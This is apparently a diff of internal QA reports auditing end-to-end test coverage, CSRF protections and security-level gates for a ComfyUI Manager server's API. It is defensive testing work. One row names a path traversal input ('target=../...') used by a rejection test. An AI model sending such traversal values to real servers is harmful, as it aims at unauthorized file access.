-- **SR3** (path traversal on remove) — NORMAL add (Priority 🔴 per §Priority Fixes).
|
||||
+(remove line — SR3 resolved by `test_remove_path_traversal_rejected`)
|
||||
@@ -319 +319 @@
|
||||
-| test_e2e_snapshot_lifecycle.py | 6 | 0 | 0 | 0 | 6 |
|
||||
+| test_e2e_snapshot_lifecycle.py | 7 | 0 | 0 | 0 | 7 |
|
||||
@@ -330 +330 @@
|
||||
-| **TOTAL** | **94** | **0** | **0** | **15** | **109** |
|
||||
+| **TOTAL** | **95** | **0** | **0** | **15** | **110** |
|
||||
```
|
||||
|
||||
Also update `§ Priority Fixes` for SR3 entry, and update the narrative totals on L334, L462, L466 (109 → 110). The 71/95 superset tally remains unchanged (SR3 is an existing Goal already inside the 92 base, not a new Goal).
|
||||
|
||||
### Patch Y2 — Resolve A-1 / A-2 / A-3 / A-4 / B-1 / B-2 / B-3 (e2e_test_coverage.md sync with reality)
|
||||
|
||||
```diff
|
||||
--- a/reports/e2e_test_coverage.md
|
||||
+++ b/reports/e2e_test_coverage.md
|
||||
@@ -12,4 +12,4 @@
|
||||
-| pytest E2E (HTTP API) | 10 | 85 |
|
||||
-| pytest E2E (CLI — uv-compile) | 1 | 12 |
|
||||
-| Playwright (legacy UI) | 5 | 21 |
|
||||
-| Playwright (debug) | 1 | 1 |
|
||||
-| **TOTAL** | **17** | **119** |
|
||||
+| pytest E2E (HTTP API) | 10 | 86 | # +1 = test_remove_path_traversal_rejected (see Patch Y1)
|
||||
+| pytest E2E (CLI — uv-compile) | 1 | 12 |
|
||||
+| Playwright (legacy UI) | 5 | 19 |
|
||||
+| Playwright (debug) | 1 | 1 |
|
||||
+| **TOTAL** | **17** | **118** |
|
||||
@@ -86 +86 @@
|
||||
-## tests/e2e/test_e2e_customnode_info.py (9 tests)
|
||||
+## tests/e2e/test_e2e_customnode_info.py (11 tests)
|
||||
@@ -120 +120 @@
|
||||
-## tests/e2e/test_e2e_snapshot_lifecycle.py (7 tests)
|
||||
+## tests/e2e/test_e2e_snapshot_lifecycle.py (7 tests)
|
||||
@@ -131 +131 @@
|
||||
-| `TestSnapshotGetCurrentSchema::test_get_current_returns_dict` | GET snapshot/get_current | Response schema | dict type |
|
||||
+| `TestSnapshotRemove::test_remove_path_traversal_rejected` | POST snapshot/remove?target=../... | Path traversal rejected | 400 + sentinel file preserved |
|
||||
@@ -258 +258 @@
|
||||
-## tests/playwright/legacy-ui-navigation.spec.ts (4 tests)
|
||||
+## tests/playwright/legacy-ui-navigation.spec.ts (2 tests)
|
||||
@@ -266,2 +266,0 @@
|
||||
-| `> API health check while dialogs are open` | GET manager/version | … | … |
|
||||
-| `> system endpoints accessible from browser context` | GET manager/version + GET is_legacy_manager_ui | … | … |
|
||||
```
|
||||
|
||||
Note: if Patch Y1 is NOT applied, change `86 → 85`, `118 → 117`, and keep `(7 tests)` but still drop the obsolete `test_get_current_returns_dict` row and add `test_remove_path_traversal_rejected` row (net 7 tests).
|
||||
|
||||
### Patch Y3 — Resolve B-5 (config_api 5 missing rows in audit § 4)
|
||||
|
||||
This requires per-row verdict content (PASS + issue notes) for each of the 5 new tests. Recommend spawning a verification sub-WI that either (a) runs `pytest tests/e2e/test_e2e_config_api.py` and maps each new test to a Goal (C2 / C3 / C5 variants — whitelist rejection, disk persistence), or (b) marks them as "tracked but uncounted" with a preamble note.
|
||||
|
||||
Summary-matrix delta if all 5 added as PASS: `test_e2e_config_api.py: 10 → 15`, Grand TOTAL: `109 → 114` (independent of Patch Y1). Combined with Y1: `109 → 115`.
|
||||
|
||||
### Patch Y4 — Resolve C-1 / C-2 / C-3 (do_fix security level from middle → high)
|
||||
|
||||
```diff
|
||||
--- a/reports/endpoint_scenarios.md
|
||||
+++ b/reports/endpoint_scenarios.md
|
||||
@@ -18 +18 @@
|
||||
-- `middle`: reboot, snapshot/remove, _fix_custom_node, _uninstall_custom_node, _update_custom_node
|
||||
+- `middle`: reboot, snapshot/remove, _uninstall_custom_node, _update_custom_node
|
||||
+- `high`: _fix_custom_node (commit c8992e5d — aligned with README risk matrix)
|
||||
@@ -380 +380 @@
|
||||
-| **middle** | snapshot/remove, reboot | snapshot/remove, reboot, _uninstall, _update, _fix |
|
||||
+| **middle** | snapshot/remove, reboot | snapshot/remove, reboot, _uninstall, _update |
|
||||
+| **high** | _fix_custom_node | _fix |
|
||||
```
|
||||
|
||||
```diff
|
||||
--- a/reports/verification_design.md
|
||||
+++ b/reports/verification_design.md
|
||||
@@ -666 +666 @@
|
||||
-- `middle` — reboot, snapshot/remove, _fix, _uninstall, _update
|
||||
+- `middle` — reboot, snapshot/remove, _uninstall, _update
|
||||
+- `high` — _fix (commit c8992e5d, aligned with README 'fix nodepack' risk tier)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Final Consistency Status Summary
|
||||
|
||||
| Check | Result |
|
||||
|-------|--------|
|
||||
| `verify_audit_counts.py` exit code | **0 (PASS)** |
|
||||
| Audit Summary Matrix ↔ per-section rows | **Internally consistent** (94/0/0/15/109) |
|
||||
| Design Goal counts (92 base, 95 superset) | **Consistent** across `verification_design.md`, `e2e_verification_audit.md` |
|
||||
| `test_e2e_csrf.py` function/parametrization tally | **Consistent** across 4 cross-referencing reports (4 functions / 29 invocations / 16+2+11) |
|
||||
| Cross-file test-count tally (Playwright) | **1 file out-of-sync** (`e2e_test_coverage.md` claims 21 / 22, rest agree on 20) |
|
||||
| Audit ↔ actual test files (code-level drift) | **3 files out-of-sync**: config_api (+5 rows missing), snapshot_lifecycle (+1 row missing), customnode_info (+1 skip companion, acceptable) |
|
||||
| Security Level Matrix ↔ source code | **Stale for do_fix**: middle vs actual high (commit c8992e5d) |
|
||||
|
||||
### Drift counts by severity
|
||||
|
||||
| Severity | Count | Items |
|
||||
|---------:|------:|-------|
|
||||
| MAJOR (Category B, structural) | **5** | B-1, B-2, B-3, B-4, B-5 |
|
||||
| MAJOR (Category C, semantic/code drift) | **3** | C-1, C-2, C-3 |
|
||||
| MINOR (Category A, cosmetic count/typo) | **4** | A-1, A-2, A-3, A-4 |
|
||||
| MINOR (Category D, observational) | **1** | D-1 (tied to B-4) |
|
||||
| **TOTAL** | **13** | |
|
||||
|
||||
### Interpretation
|
||||
|
||||
The **internal cross-report consistency is strong** — the audit's Summary Matrix parser passes, Design Goal / test-count / CSRF-contract numbers agree across 4–6 cross-referencing reports, and line-range citations (L92–L109, L378–L382) are verified accurate against source code.
|
||||
|
||||
The **external drift** (reports ↔ actual code) is concentrated in two places:
|
||||
|
||||
1. **Newly added tests not yet reflected in the audit matrix** — `test_remove_path_traversal_rejected` (snapshot), 5 new config_api tests (junk_value + disk-persistence), and a skip-companion in customnode_info. These are real, passing tests that should be audited and counted.
|
||||
2. **do_fix security level semantic drift** — commit c8992e5d (2026-04-04) moved the gate from `middle` to `high`, but three reports still document the pre-commit state.
|
||||
|
||||
Neither class of drift invalidates the existing numbered conclusions (the audit passes its own checker); both are about **undercount / stale** rather than contradiction. Priority recommendation: apply Patch Y1 + Y4 before PR (minimal, high-value), defer Patch Y2 + Y3 to a follow-up WI if PR scope is tight.
|
||||
|
||||
---
|
||||
|
||||
*End of Consistency Audit Report Y*
|
||||
@@ -0,0 +1,203 @@
|
||||
# Coverage Gap Analysis — Report A × Report B
|
||||
|
||||
**Generated**: 2026-04-18 (WI-AA inventory update 2026-04-19: +2 LB1/LB2 tests → 119 total; WI-GG update 2026-04-20: +26 legacy CSRF parametrized rows → 145 total; WI-JJ update 2026-04-20: +3 legacy CSRF parity/install rows; WI-LL update 2026-04-20: +2 SECGATE rows → 148 audit rows / 126 test functions)
|
||||
**Inputs**: `reports/endpoint_scenarios.md` (39 handlers, 154 scenarios) + `reports/e2e_test_coverage.md` (126 test functions / 148 audit rows — the row-count delta reflects audit-side per-invocation rendering of legacy CSRF plus the 2 new SECGATE PoC rows; function-level progression is recorded in `e2e_test_coverage.md`)
|
||||
|
||||
> **WI-AA (2026-04-19)**: `tests/playwright/legacy-ui-install.spec.ts` (2 tests: LB1 Install button triggers install effect, LB2 Uninstall button triggers uninstall effect) has been **integrated into the audit** (see `e2e_verification_audit.md` §16). These tests drive the install/uninstall action via the Custom Nodes Manager dialog UI and verify the resulting backend state via `/v2/customnode/installed`. They close the long-standing gap noted in this document's Section 4 for UI-driven install/uninstall effect coverage on the legacy UI. Prior coverage-gap mentions of "missing UI→effect for install/uninstall buttons" are now RESOLVED.
|
||||
>
|
||||
> **WI-GG (2026-04-20)**: `tests/e2e/test_e2e_csrf_legacy.py` (4 test functions / 26 parametrized invocations: 13 reject-GET + 2 POST-works + 11 allow-GET) — from WI-FF — has been **integrated into the audit** (see `e2e_verification_audit.md` §19). This extends the CSRF-Mitigation Layer Coverage block below from glob-only to glob + legacy, closing the regression-guard gap that a legacy-side `@routes.post` revert would have slipped past CI. LB1/LB2 classification as RESOLVED is unchanged.
|
||||
>
|
||||
> **WI-LL (2026-04-20)**: `tests/e2e/test_e2e_secgate_strict.py` (SR4 PoC — strict-mode fixture) + `tests/e2e/test_e2e_secgate_default.py` (CV4 demo — no harness needed) — from WI-KK — have been **integrated into the audit** (see `e2e_verification_audit.md` §20, §21). Two of the original 8 T2 SECGATE-PENDING Goals are now RESOLVED (SR4, CV4); the remaining 6 are reclassified into 4 sub-tiers (T2-pending-harness-ready: SR6/V5/UA2; NORMAL-legacy: LGU2/LPP2; T2-TASKLEVEL: IM4). Section 4 🟢 Low Priority "Security level 403 gates ... impractical in standard E2E env" is now PARTIAL — see the classification policy + propagation plan in `e2e_verification_audit.md`.
|
||||
|
||||
## Summary
|
||||
|
||||
| Metric | Count |
|
||||
|---|---:|
|
||||
| Glob v2 endpoints fully covered (row has no ✗ in Missing scenarios) | 15/30 |
|
||||
| Glob v2 endpoints partially covered (some ✓ + some ✗) | 14/30 |
|
||||
| Glob v2 endpoints NOT covered (positive) | 1/30 |
|
||||
| Legacy-only endpoints fully covered | 0/9 |
|
||||
| Legacy-only endpoints partially covered (indirect only) | 4/9 |
|
||||
| Legacy-only endpoints NOT covered | 5/9 |
|
||||
| Orphan tests (non-endpoint-direct; pytest + Playwright UI-only) | 29 |
|
||||
|
||||
---
|
||||
|
||||
# Section 1 — Endpoint × Test Coverage Matrix (Glob v2)
|
||||
|
||||
Legend: **✓** direct assertion test, **~** indirect / partial, **✗** not tested
|
||||
|
||||
| # | Endpoint | Direct test | Missing scenarios |
|
||||
|---|---|---|---|
|
||||
| 1 | POST queue/task (install) | ✓ test_e2e_endpoint, test_e2e_git_clone, test_e2e_task_operations | ✗ 400 ValidationError (bad kind/schema), ✗ 500 on malformed JSON |
|
||||
| 2 | POST queue/task (uninstall) | ✓ test_e2e_endpoint, test_e2e_task_operations | (shared with #1) |
|
||||
| 3 | POST queue/task (update/fix/disable/enable) | ✓ test_e2e_task_operations | (shared) |
|
||||
| 4 | GET queue/history_list | ✓ test_e2e_queue_lifecycle | ✗ 400 on inaccessible history path |
|
||||
| 5 | GET queue/history | ✓ test_e2e_queue_lifecycle, test_e2e_task_operations | ✗ `id=<batch_id>` file-based query, ✗ path traversal rejection |
|
||||
| 6 | GET customnode/getmappings | ✓ test_e2e_customnode_info | ✗ `mode=nickname`, ✗ missing `mode` KeyError→500 |
|
||||
| 7 | GET customnode/fetch_updates | ✓ test_e2e_customnode_info (410) | (fully covered — deprecated endpoint) |
|
||||
| 8 | POST queue/update_all | ✓ test_e2e_task_operations | ✗ 403 security gate, ✗ `mode=local` vs remote distinction |
|
||||
| 9 | GET is_legacy_manager_ui | ✓ test_e2e_system_info, playwright navigation | (fully covered) |
|
||||
| 10 | GET customnode/installed | ✓ test_e2e_endpoint, test_e2e_customnode_info (both modes) | (fully covered) |
|
||||
| 11 | GET snapshot/getlist | ✓ test_e2e_snapshot_lifecycle, playwright snapshot | (fully covered) |
|
||||
| 12 | POST snapshot/remove | ✓ test_e2e_snapshot_lifecycle | ✗ path traversal "Invalid target" 400, ✗ 403 security gate, ✗ missing `target` query |
|
||||
| 13 | POST snapshot/restore | ✗ **intentionally skipped (destructive)** | ALL scenarios (positive, path traversal, 403) |
|
||||
| 14 | GET snapshot/get_current | ✓ test_e2e_snapshot_lifecycle | (fully covered) |
|
||||
| 15 | POST snapshot/save | ✓ test_e2e_snapshot_lifecycle, playwright snapshot | (fully covered) |
|
||||
| 16 | POST customnode/import_fail_info | ✓ test_e2e_customnode_info (negative only) | ✗ positive path (returning actual failure info) — requires seed failed import |
|
||||
| 17 | POST customnode/import_fail_info_bulk | ✓ test_e2e_customnode_info | ✗ positive path with real failure info |
|
||||
| 18 | POST queue/reset | ✓ test_e2e_queue_lifecycle | (fully covered) |
|
||||
| 19 | GET queue/status | ✓ test_e2e_queue_lifecycle | (fully covered) |
|
||||
| 20 | POST queue/start | ✓ test_e2e_queue_lifecycle (idle + lifecycle) | (fully covered) |
|
||||
| 21 | POST queue/update_comfyui | ✓ test_e2e_task_operations | (fully covered) |
|
||||
| 22 | GET comfyui_versions | ✓ test_e2e_version_mgmt (4 tests) | ✗ 400 on git-access failure |
|
||||
| 23 | POST comfyui_switch_version | ✓ test_e2e_version_mgmt (negative only) | ✗ **positive path (intentionally skipped)**, ✗ 403 security gate |
|
||||
| 24 | POST queue/install_model | ✓ test_e2e_task_operations | (fully covered) |
|
||||
| 25 | GET db_mode | ✓ test_e2e_config_api, playwright manager-menu | (fully covered) |
|
||||
| 26 | POST db_mode | ✓ test_e2e_config_api, playwright manager-menu | ✗ missing `value` KeyError→400 (only malformed JSON tested) |
|
||||
| 27 | GET policy/update | ✓ test_e2e_config_api, playwright | (fully covered) |
|
||||
| 28 | POST policy/update | ✓ test_e2e_config_api, playwright | ✗ missing `value` key |
|
||||
| 29 | GET channel_url_list | ✓ test_e2e_config_api | (fully covered) |
|
||||
| 30 | POST channel_url_list | ✓ test_e2e_config_api | ✗ unknown channel name (silent no-op) |
|
||||
| 31 | POST manager/reboot | ✓ test_e2e_system_info | ✗ __COMFY_CLI_SESSION__ env branch |
|
||||
| 32 | GET manager/version | ✓ test_e2e_system_info, playwright navigation | (fully covered) |
|
||||
|
||||
Note: queue/task has 3 rows above per kind; 30 glob endpoints = 32 row entries (queue/task counted per-kind).
|
||||
|
||||
## Glob v2 Summary
|
||||
|
||||
- **Fully covered** (row has no ✗ in Missing scenarios column): 15 endpoints
|
||||
(is_legacy_manager_ui, customnode/installed, snapshot/getlist, snapshot/get_current, snapshot/save, queue/reset, queue/status, queue/start, queue/update_comfyui, queue/install_model, fetch_updates, get db_mode, get policy/update, get channel_url_list, get manager/version)
|
||||
- **Partially covered** (some ✓ + some ✗ in Missing scenarios): 14 endpoints (row-level collapse of per-kind queue/task into 1 endpoint)
|
||||
- **Intentionally skipped** (destructive, counted under NOT covered): 1 (snapshot/restore); switch_version has ✓ negative + skipped-positive so it falls under partial, not skipped
|
||||
- Sum: 15 + 14 + 1 = 30 ✓
|
||||
|
||||
### CSRF-Mitigation Layer Coverage (separate from positive-path coverage above)
|
||||
|
||||
The 16 state-changing POST endpoints — commit 99caef55 converted 12+ of
|
||||
these from GET→POST (the remainder such as queue/task, import_fail_info,
|
||||
and import_fail_info_bulk were already POST but are included for contract
|
||||
completeness) — are independently covered. Commit 99caef55 applied the
|
||||
conversion to BOTH `comfyui_manager/glob/manager_server.py` (~91 lines)
|
||||
and `comfyui_manager/legacy/manager_server.py` (~92 lines), so two test
|
||||
files are required (the server-loading is mutex on `--enable-manager-legacy-ui`):
|
||||
|
||||
**Glob server**: `tests/e2e/test_e2e_csrf.py` (4 functions / 26 parametrized invocations — post-WI-HH; was 29 before the 3 dual-purpose endpoints were scoped out of the reject-GET fixture)
|
||||
|
||||
| Contract | Test | Coverage |
|
||||
|---|---|---|
|
||||
| Reject GET on 13 state-changing POST endpoints (glob; post-WI-HH) | TestStateChangingEndpointsRejectGet (parametrized ×13) | ✓ full |
|
||||
| POST counterpart sanity (glob) | TestCsrfPostWorks (2 tests) | ~ spot-check (queue/reset + snapshot/save only) |
|
||||
| Read-only GET still allowed — negative control (glob) | TestCsrfReadEndpointsStillAllowGet (parametrized ×11) | ✓ full |
|
||||
|
||||
**Legacy server** (WI-FF, audit-integrated in WI-GG): `tests/e2e/test_e2e_csrf_legacy.py` (4 functions / 26 parametrized invocations)
|
||||
|
||||
| Contract | Test | Coverage |
|
||||
|---|---|---|
|
||||
| Reject GET on 13 state-changing POST endpoints (legacy; queue/task→queue/batch, dual-purpose endpoints scoped to ALLOW-GET only) | TestLegacyStateChangingEndpointsRejectGet (parametrized ×13) | ✓ full |
|
||||
| POST counterpart sanity (legacy) | TestLegacyCsrfPostWorks (2 tests — queue/reset + snapshot/save) | ~ spot-check |
|
||||
| Read-only GET still allowed — negative control (legacy) | TestLegacyCsrfReadEndpointsStillAllowGet (parametrized ×11) | ✓ full |
|
||||
|
||||
**Important**: POST `snapshot/restore` and POST `comfyui_switch_version` are
|
||||
listed as "intentionally skipped (destructive)" for POSITIVE-path coverage,
|
||||
but their CSRF reject-GET contract IS covered by BOTH test files —
|
||||
the destructive-skip only applies to the success-path assertion, not to
|
||||
the security layer. The legacy-side coverage closes the regression-guard
|
||||
gap that a revert of any legacy `@routes.post` back to `@routes.get` would
|
||||
otherwise have slipped past CI.
|
||||
|
||||
---
|
||||
|
||||
# Section 2 — Endpoint × Test Coverage Matrix (Legacy-only)
|
||||
|
||||
| # | Endpoint | Test coverage | Gap |
|
||||
|---|---|---|---|
|
||||
| 1 | POST queue/batch | ~ debug-install-flow captures API sequence indirectly | ✗ No dedicated assertion test for batch semantics |
|
||||
| 2 | GET customnode/getlist | ~ playwright custom-nodes triggers it via UI | ✗ No direct assertion on response shape, `skip_update` param, channel resolution |
|
||||
| 3 | GET /customnode/alternatives | ✗ NOT COVERED | ALL scenarios |
|
||||
| 4 | GET externalmodel/getlist | ~ playwright model-manager triggers via UI | ✗ No direct assertion on `installed` flag population, save_path resolution |
|
||||
| 5 | GET customnode/versions/{node_name} | ~ debug-install-flow captures it | ✗ 400 on unknown pack, no direct test |
|
||||
| 6 | GET customnode/disabled_versions/{node_name} | ✗ NOT COVERED | ALL scenarios |
|
||||
| 7 | POST customnode/install/git_url | ✗ NOT COVERED | ALL (high+ security, may be intentional) |
|
||||
| 8 | POST customnode/install/pip | ✗ NOT COVERED | ALL (high+ security, may be intentional) |
|
||||
| 9 | GET manager/notice | ✗ NOT COVERED | ALL scenarios |
|
||||
|
||||
## Legacy-only Summary
|
||||
|
||||
- **Fully covered**: 0/9
|
||||
- **Indirect-only** (triggered via UI flow but no direct assertion): 4/9
|
||||
- **Not covered**: 5/9
|
||||
|
||||
---
|
||||
|
||||
# Section 3 — Orphan Tests (not mapped to HTTP endpoints)
|
||||
|
||||
Tests that do not directly assert HTTP endpoint behavior:
|
||||
|
||||
| Test file | Tests | Purpose |
|
||||
|---|---:|---|
|
||||
| `tests/cli/test_uv_compile.py` | 8 | `cm-cli --uv-compile` CLI entrypoint (not HTTP). Relocated from `tests/e2e/` in WI-PP (see Recommendations §4 — now ACTIONED). |
|
||||
| `test_e2e_endpoint.py::test_startup_resolver_ran` | 1 | Log file assertion (server log contains UnifiedDepResolver) |
|
||||
| `test_e2e_endpoint.py::test_comfyui_started` | 1 | `/system_stats` (ComfyUI core endpoint, not Manager) |
|
||||
| `test_e2e_git_clone.py::test_02_no_module_error` | 1 | Log file regression check |
|
||||
| Playwright UI-only tests (no API assertion) | ~14 of 22 | UI rendering, dialog lifecycle, filter/search — no HTTP assertion |
|
||||
|
||||
Total orphan tests (non-endpoint-direct): ~29 / 115 (25%)
|
||||
|
||||
---
|
||||
|
||||
# Section 4 — Critical Gaps (Prioritized)
|
||||
|
||||
## 🔴 High Priority — Legacy Endpoints with ZERO UI→effect Test Coverage
|
||||
|
||||
These endpoints ARE actively called by legacy UI JavaScript but have no Playwright test exercising the UI flow:
|
||||
|
||||
| Endpoint | JS call site | Missing UI→effect test |
|
||||
|---|---|---|
|
||||
| POST /v2/customnode/install/git_url | `common.js:248` | "Install via Git URL" button flow |
|
||||
| POST /v2/customnode/install/pip | `common.js:213` | pip install UI flow |
|
||||
| GET /v2/customnode/disabled_versions/{node_name} | `custom-nodes-manager.js:1401` | Node row "Disabled Versions" dropdown |
|
||||
| GET /customnode/alternatives | `custom-nodes-manager.js:1885` | Alternatives display in custom nodes dialog |
|
||||
| GET /v2/manager/notice | `comfyui-manager.js:418` | Notice display on Manager menu open |
|
||||
|
||||
→ These are **NOT dead code** — they require **UI→effect tests added**, not removal.
|
||||
|
||||
## 🟡 Medium Priority — Missing Scenarios (Covered Endpoints)
|
||||
|
||||
1. **queue/task 400 ValidationError** — no test verifies schema rejection. Adding `test_queue_task_invalid_body` with malformed `kind` value would be trivial.
|
||||
2. **queue/history with `id=<batch_id>` + path traversal** — file-based history path not exercised.
|
||||
3. **snapshot/remove path traversal** — security-critical but not asserted.
|
||||
4. **comfyui_versions 400 on git failure** — would need to simulate git unavailable.
|
||||
5. **POST db_mode/policy/update missing `value` key** — currently only tests malformed JSON; KeyError path untested.
|
||||
|
||||
## 🟢 Low Priority — Acceptable Gaps
|
||||
|
||||
1. **snapshot/restore + switch_version positive** — intentionally skipped (destructive). Acceptable.
|
||||
2. ~~**Security level 403 gates** — require running with locked-down security_level; impractical in standard E2E env.~~ **PARTIAL (WI-LL via WI-KK, 2026-04-20)**: SR4 (snapshot/remove middle) + CV4 (comfyui_switch_version high+) are now covered via `test_e2e_secgate_strict.py` and `test_e2e_secgate_default.py` respectively. Remaining SECGATE Goals are reclassified (`e2e_verification_audit.md` classification-policy block): SR6/V5/UA2 are T2-pending-harness-ready (mechanical additions to strict.py); LGU2/LPP2 are NORMAL-legacy (needs `start_comfyui_legacy.sh`); IM4 is T2-TASKLEVEL (queue-observation pattern, not HTTP 403).
|
||||
3. **import_fail_info positive path** — would require seeding a failed module import; complex setup.
|
||||
|
||||
---
|
||||
|
||||
# Section 5 — Recommendations
|
||||
|
||||
1. **Add UI→effect Playwright tests** for the 5 JS-called legacy endpoints (install/git_url, install/pip, disabled_versions, alternatives, manager/notice). All are live in legacy UI flows.
|
||||
2. **Add minimal gap tests** for queue/task ValidationError + snapshot/remove path traversal — both are security-relevant.
|
||||
3. **Convert debug-install-flow.spec.ts** from logging-only into an assertion test (verify queue/batch payload structure + cm-queue-status WebSocket events).
|
||||
4. ~~**Consider moving uv_compile tests** to a separate CLI test directory (tests/cli/) — they are not E2E HTTP tests.~~ **ACTIONED (WI-PP)**: file now lives at `tests/cli/test_uv_compile.py`. CI workflow `.github/workflows/e2e.yml` updated to the new path. Placement hygiene restored.
|
||||
|
||||
---
|
||||
|
||||
# Section 6 — Cross-Report Consistency Check
|
||||
|
||||
| Report A claim | Report B claim | Status |
|
||||
|---|---|---|
|
||||
| 30 glob v2 endpoints | Row-level: 15 fully + 14 partial + 1 NOT covered = 30 (matches Summary L10-12) | ✓ consistent under row-no-✗ definition |
|
||||
| 9 legacy-only endpoints | "4 covered, 5 not covered" | ✓ consistent |
|
||||
| 154 scenarios total | (per-test scenario breakdown) | ⚠️ scenario-level count not aggregated in Report B; recommend adding |
|
||||
| Security gates (middle/middle+/high+) | Security 403 paths not tested | ⚠️ gap confirmed |
|
||||
| Deprecated endpoints flagged | fetch_updates 410 tested | ✓ consistent |
|
||||
|
||||
Internal accounting reconciled under the single "row has no ✗ in Missing scenarios column" definition for "fully covered". Earlier drafts of this report mixed three counting schemes (Summary 24/5/1, body-list 11/15/2, Section 6 27/30) that did not agree; this revision uses the row-level count uniformly (15/14/1 = 30 glob v2 endpoints) and aligns Summary L10-12, body L63-66, and Section 6 L172. Report A (endpoint_scenarios.md) and Report B (e2e_test_coverage.md) align on endpoint counts (30 glob v2 + 9 legacy = 39) and coverage categories under this definition.
|
||||
|
||||
---
|
||||
*End of Coverage Gap Analysis*
|
||||
@@ -0,0 +1,454 @@
|
||||
# Report B — E2E Test Inventory + Coverage Mapping
|
||||
|
||||
**Generated**: 2026-04-18
|
||||
**Source directories**:
|
||||
- `tests/e2e/*.py` (pytest — HTTP + CLI E2E)
|
||||
- `tests/playwright/*.spec.ts` (Playwright — legacy UI E2E)
|
||||
|
||||
## Summary
|
||||
|
||||
| Category | Files | Test Functions |
|
||||
|---|---:|---:|
|
||||
| pytest E2E (HTTP API) | 13 | 92 |
|
||||
| pytest E2E (CLI — uv-compile) | 1 | 12 |
|
||||
| Playwright (legacy UI) | 6 | 21 |
|
||||
| Playwright (debug) | 1 | 1 |
|
||||
| **TOTAL** | **21** | **126** |
|
||||
|
||||
> **Note**: +1 file / +4 functions vs prior counts reflect inclusion of `tests/e2e/test_e2e_csrf.py` (CSRF-mitigation contract suite, commit 99caef55). That suite's 4 test functions parametrize to 26 pytest invocations (13+2+11) after WI-HH removed 3 dual-purpose endpoints from the reject-GET fixture (they legitimately answer GET on the read-path and are covered only in the allow-GET class).
|
||||
>
|
||||
> **WI-Z Y2 sync (2026-04-19)**: Playwright legacy UI count 21 → 19 reflected Stage2 WI-F deletion of two `legacy-ui-navigation.spec.ts` tests (`API health check while dialogs are open`, `system endpoints accessible from browser context`) that were rewritten as direct-API violators; their coverage is now owned by `test_e2e_system_info.py`. TOTAL 119 → 117 was a downstream correction.
|
||||
>
|
||||
> **WI-AA sync (2026-04-19)**: Playwright legacy UI count 19 → 21 reflects addition of `tests/playwright/legacy-ui-install.spec.ts` (2 tests: LB1 Install button + LB2 Uninstall button) previously implemented but not inventoried. TOTAL 117 → 119. See dedicated subsection below.
|
||||
>
|
||||
> **WI-GG sync (2026-04-20)**: pytest E2E (HTTP API) file count 10 → 11 and function count 85 → 89 reflects addition of `tests/e2e/test_e2e_csrf_legacy.py` (4 new test functions / 26 parametrized invocations: 13 reject-GET + 2 POST-works + 11 allow-GET) from WI-FF. TOTAL 119 → 123 test functions. The legacy suite is the counterpart to `test_e2e_csrf.py` for the `--enable-manager-legacy-ui` server variant — required because `comfyui_manager/__init__.py` loads `glob.manager_server` XOR `legacy.manager_server`. See dedicated subsection below. (Accounting note: the higher-level audit `reports/e2e_verification_audit.md` Summary Matrix renders the 26 legacy invocations per-row, reaching TOTAL 143; both counts refer to the same underlying tests at different granularities — function-level here, invocation-level there.)
|
||||
>
|
||||
> **WI-LL sync (2026-04-20)**: pytest E2E (HTTP API) file count 11 → 13 and function count 89 → 92 reflects addition of two new SECGATE-coverage files (WI-KK deliverables, audit-integrated by WI-LL): `tests/e2e/test_e2e_secgate_strict.py` (strict-mode harness + SR4 PoC — 2 functions: `test_remove_returns_403` PASS + `test_post_works_at_default_after_restore` pytest.skip'd positive counterpart stub) + `tests/e2e/test_e2e_secgate_default.py` (default-mode demo + CV4 — 1 function: `test_switch_version_returns_403_at_default` PASS). TOTAL 123 → 126 test functions. These close 2 of the original 8 T2 SECGATE-PENDING Goals (SR4, CV4) and establish the strict-mode harness pattern (`start_comfyui_strict.sh` + config.ini backup/restore) for the remaining T2-pending-harness-ready Goals (SR6, V5, UA2). See the Classification policy block in `e2e_verification_audit.md` for the reclassification and propagation plan.
|
||||
|
||||
**Unique endpoints exercised**: 27 (glob v2) + 4 (legacy-only: queue/batch indirectly via UI)
|
||||
|
||||
---
|
||||
|
||||
# Section 1 — pytest E2E HTTP Tests
|
||||
|
||||
## tests/e2e/test_e2e_endpoint.py (7 tests)
|
||||
|
||||
Covers the main install/uninstall flow via `/v2/manager/queue/task` and `/v2/customnode/installed`.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestEndpointInstallUninstall::test_install_via_endpoint` | POST queue/task, POST queue/start | Install CNR pack (success) | pack dir exists + .tracking file present |
|
||||
| `TestEndpointInstallUninstall::test_installed_list_shows_pack` | GET customnode/installed | Pack appears in installed list | cnr_id match in dict values |
|
||||
| `TestEndpointInstallUninstall::test_uninstall_via_endpoint` | POST queue/task kind=uninstall | Uninstall success | pack dir removed from disk |
|
||||
| `TestEndpointInstallUninstall::test_installed_list_after_uninstall` | GET customnode/installed | Post-uninstall state | cnr_id absent from installed list |
|
||||
| `TestEndpointInstallUninstall::test_install_uninstall_cycle` | queue/task x2 | Full install→verify→uninstall cycle | All above assertions in one test |
|
||||
| `TestEndpointStartup::test_comfyui_started` | GET /system_stats | Server health | 200 response |
|
||||
| `TestEndpointStartup::test_startup_resolver_ran` | (log file) | UnifiedDepResolver ran at startup | log contains `[UnifiedDepResolver]` + "startup batch resolution succeeded" |
|
||||
|
||||
## tests/e2e/test_e2e_git_clone.py (3 tests)
|
||||
|
||||
Covers nightly (URL-based) install via `/v2/manager/queue/task` which triggers git_helper.py subprocess.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestNightlyInstallCycle::test_01_nightly_install` | POST queue/task selected_version=nightly | git clone via Manager API | pack dir exists + .git directory present |
|
||||
| `TestNightlyInstallCycle::test_02_no_module_error` | (log file) | No ModuleNotFoundError regression | log does not contain "ModuleNotFoundError" |
|
||||
| `TestNightlyInstallCycle::test_03_nightly_uninstall` | POST queue/task kind=uninstall | Uninstall nightly pack | pack dir removed |
|
||||
|
||||
## tests/cli/test_uv_compile.py — RELOCATED (WI-PP)
|
||||
|
||||
Previously tracked here as `tests/e2e/test_e2e_uv_compile.py`. Moved to
|
||||
`tests/cli/` in WI-PP because every test in the suite drives cm-cli as a
|
||||
subprocess; none of them exercise HTTP endpoints. The 8 tests (post
|
||||
WI-MM/NN/OO consolidation) continue to cover install / reinstall (xfail-marked
|
||||
for purge_node_state) / verbs-with-uv-compile (parametrized ×5) / uv-sync
|
||||
no-packs-exits-zero / no-packs-emits-signal / with-packs / conflict
|
||||
